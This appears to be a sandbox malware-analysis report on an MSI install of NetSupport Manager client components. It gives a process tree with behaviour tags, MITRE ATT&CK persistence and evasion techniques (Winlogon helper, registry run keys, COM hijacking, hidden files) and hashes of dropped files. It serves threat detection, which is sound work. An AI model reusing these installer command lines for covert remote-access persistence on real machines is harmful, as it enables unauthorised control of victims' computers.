C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding CB078E0E64876A9CC7177501F7BEDA132⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3472
-
-
C:\Windows\system32\cmd.execmd.exe /c ATTRIB -R "C:\Users\Admin\AppData\Local\Temp\{CBB68368-7767-4CFF-B3E5-211488346702}\\nsm.lic"2⤵PID:4348
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R "C:\Users\Admin\AppData\Local\Temp\{CBB68368-7767-4CFF-B3E5-211488346702}\\nsm.lic"3⤵
- System Location Discovery: System Language Discovery
- Views/modifies file attributes
PID:3504
-
-
-
C:\Windows\Installer\MSICBB1.tmp"C:\Windows\Installer\MSICBB1.tmp" /G"C:\Program Files (x86)\NetSupport\NetSupport Manager\" /EU2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2212
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 7AC77E2434E61F36E9151B96C6C5E001 E Global\MSI00002⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:1288
-
-
C:\Windows\Installer\MSID231.tmp"C:\Windows\Installer\MSID231.tmp" /G"C:\Program Files (x86)\NetSupport\NetSupport Manager\" /EU2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:452
-
-
C:\Program Files (x86)\NetSupport\NetSupport Manager\checkdvd.exe"C:\Program Files (x86)\NetSupport\NetSupport Manager\checkdvd.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:952
-
-
C:\Windows\Installer\MSID7E0.tmp"C:\Windows\Installer\MSID7E0.tmp" /G"C:\Program Files (x86)\NetSupport\NetSupport Manager\" /EV"NetSupport School" /EF".\Log Files" /EF".\Bookmarks" /EF".\Tests" /EF".\Store" /EF".\inv" /EF".\Resources" /EF".\Help" /EF".\Image" /EF".\Sound" /EF".\Video" /EA /EX /EC /Q /V /Q /I *2⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Modifies WinLogon
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:3136 -
C:\Program Files (x86)\NetSupport\NetSupport Manager\winst64.exewinst64.exe /q /q /ex /i3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Modifies registry class
PID:3936
-
-
-
C:\Windows\Installer\MSIDDBF.tmp"C:\Windows\Installer\MSIDDBF.tmp" /G"C:\Program Files (x86)\NetSupport\NetSupport Manager\" /EI2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4012
-
-
C:\Program Files (x86)\NetSupport\NetSupport Manager\pcicfgui_client.exe"C:\Program Files (x86)\NetSupport\NetSupport Manager\pcicfgui_client.exe" /Q "C:\Program Files (x86)\NetSupport\NetSupport Manager\Client32.ini"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
PID:5112 -
C:\Program Files (x86)\NetSupport\NetSupport Manager\pcicfgui_client.exe"C:\Program Files (x86)\NetSupport\NetSupport Manager\pcicfgui_client.exe"3⤵
- Executes dropped EXE
PID:4092
-
-
-
C:\Program Files (x86)\NetSupport\NetSupport Manager\client32.exe"C:\Program Files (x86)\NetSupport\NetSupport Manager\client32.exe" /* *1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4796 -
C:\Program Files (x86)\NetSupport\NetSupport Manager\client32.exe"C:\Program Files (x86)\NetSupport\NetSupport Manager\client32.exe" * /VistaUI2⤵
- Executes dropped EXE
- Enumerates connected drives
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:1548 -
C:\Windows\SysWOW64\cscript.exe"cscript.exe" C:\Windows\system32\Printing_Admin_Scripts\en-US\prnport.vbs -a -r NSM001 -h 127.0.0.1 -o raw -n 528043⤵
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:748
-
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s TapiSrv1⤵
- Modifies data under HKEY_USERS
PID:1060
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Event Triggered Execution
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Event Triggered Execution
1Component Object Model Hijacking
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Modify Registry
2Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
41KB
MD519553972dfb976fbafefa8381f350716
SHA1a39b32b19e16abfbdca42fd219b96d73b60fe1ad
SHA256577b49a0381e70554239ac679e2c9929ce1aedd08b646645d450c1b98f8b5d89
SHA512f6cfcb1f2859a56eec26c03530d10bb34c3d9ec7c731f5574158e978ae6e84490bf92ede019175fd256b904ce01b8861f36814597214ef33130ecbfeb505f925
-
Filesize
745KB
MD50fcf65c63e08e77732224b2d5d959f13
SHA15419b79fe14e21d1d5b51fe8187f7b86ec20de74
SHA256f3e587f94a79c46a603b39286e93b17fabc895c6b71b26b0fc5d812cf155b7e5
SHA5127c289aaf3ac1b998c8ca9593a58c8aa3a9aa9f41852c1ed4192b908e0ad51871400d585b4fe508d49368bdfc7378807d289971914870a7a47b0410a946e5e381
-
Filesize
2KB
MD5905ad4c0382eae16df4c0dea8e4d2fcc
SHA16597192580595528a3a24cf94c4b44e44cfa6be4
SHA25649f4e7cdd3716a8e33a6659daa709606a4d74ae84525fa395efd8687f7e9d2ae
SHA512cc5784d1da871001a838d9ea2ac774cc727cb0d0f8cb76f05ae76fd35fd4bff86bf3418b4abf32f9477f25fbb7710a3fc961072cc95e1a4afd83c7a19dcbaa09
-
Filesize
7KB
MD5a05ae7ca16bd6483f4073ee7cde18dd9
SHA14b67ffd19090843e08db99c7663ad1ccb81d4d6b
SHA2561400d28761bd465e6c986b4378dd6eedaf5b2eed7afbe44213bb1f0c5315cd40
SHA512cf47ae8a89cae4083f645f80d8e38ea96f32b16d6e946c24c03a6b5d966276f14ed2cd8e9d8e1c8cb4437dac46822439c6eb7bd482c95b18bc11473f6c077a16
-
Filesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
39.7MB
MD587ef82757aba83e7eb63c7c35dbae97a
SHA17418c4ddeecba68e253e89622ad9ca45597d9350
SHA25679040421b5a48dcc6e611dfe187b2f3e355791ad8511adb84f5c0948aa1d6c89
SHA512605495995a07d7dfaa5d8f09b9d5bde1e0281b5b6581923b9fbd7c103e5ca9f2bb8dcf8e1049c21bd90ac4d68759270d5453e0414c2f6e1eb3ef877eee1a5533
-
Filesize
253B
MD5d2c2217861f5535686409d80a0867f6f
SHA1f4d90bebfcf8f501e5b9f0427028f696c3a191c7
SHA256af9c79cf3af6a7e969208da78dfcfac54d6f956545b46f434d0e447cff94807b
SHA512656deac03f9d81792e3d78108fb7d6754ca4a21a30f0e8da72e71f64b0b015dfc299d5478a8cc27acb05a0ec7e01c2c1cfcc9eb40041e4fe0a790414e42b4a37
-
Filesize
506B
MD5ff7c0d2dbb9195083bbabaff482d5ed6
SHA15c2efbf855c376ce1b93e681c54a367a407495dc
SHA256065d817596d710d5a06060241acc207b82b844530cc56ff842ff53d8ff92a075
SHA512ea226b3a55fc59175136f104df497ebf5055624fb1c1c8073b249dfc5e1ed5818a6feee995aa82cf9ed050f1adc7a62994c90b1af03569dfe0d4551ee2bc70c9
-
Filesize
169KB
MD50e6fda2b8425c9513c774cf29a1bc72d
SHA1a79ffa24cb5956398ded44da24793a2067b85dd0
SHA256e946b2fae0b36c43064463a8c16a2774adac30c4188c5af90e9338b903c501c9
SHA512285bb7759a1214abed36162ac8be2d48df17a05278c4de97562448e20fd43b635563a6819f37e23d92a5f5ed0205a68bffe43dac0d3a67513bd0303b4e7f89aa
-
Filesize
511KB
MD5d524b639a3a088155981b9b4efa55631
SHA139d8eea673c02c1522b110829b93d61310555b98
SHA25603d91c8cd20b846625a092a3dae6a12369930c65d6216a455a00449ebb0dc289
SHA51284f8ab54122f93a40da08fd83bca767ab49eb0f73c4ab274d9bda11dd09224134df011fa02e5a3abbafcc6fbef6a60673dd48feabdf829a1e22c85a2a759b7ac
-
Filesize
487KB
MD53085d62326cc1ae4ab21489576973621
SHA1e3c847dee0ecc7176c1168d6d1df9b9e98b19936
SHA256d2dc425f47d8c80abd8cadbcd8aa53516e7754c371bd3bad3907294a6ca57c5c
SHA512f993e4e04b348f7eb346d2f3d00fdaed2212f28ba885bbe50c1959737c5b6cab9cfbe17c4aba992521aa0ecdcf5216fa9e6c36a47746077307d32170223a9a97
-
Filesize
153KB
MD5a1b7850763af9593b66ee459a081bddf
SHA16e45955fae2b2494902a1b55a3873e542f0f5ce4
SHA25641b8e92deba5206c78817236ed7f44df95636ca748d95fab05f032f5aec186af
SHA512a87a302a9a0d19d7ce293b42f5e7bc09664b21307a5321f226157fcc57eb2df2b59c6651878cb23969a182c82b55e8671ff00f8462194b81a907974a49cb25b1
-
Filesize
244KB
MD5c4ca339bc85aae8999e4b101556239dd
SHA1d090fc385e0002e35db276960a360c67c4fc85cd
SHA2564ab23609cdc64d10b97c9ccb285ed7100f55d54d983cd50762da25ecac4357f9
SHA5129185ec32545fc838d7fef6c9e4dd222dd02114c661b0b344f16287d55e6571bfe7a4233a852acc579d07bcdbab18c5c034c465b1f4bb78535ed51c3499087fe0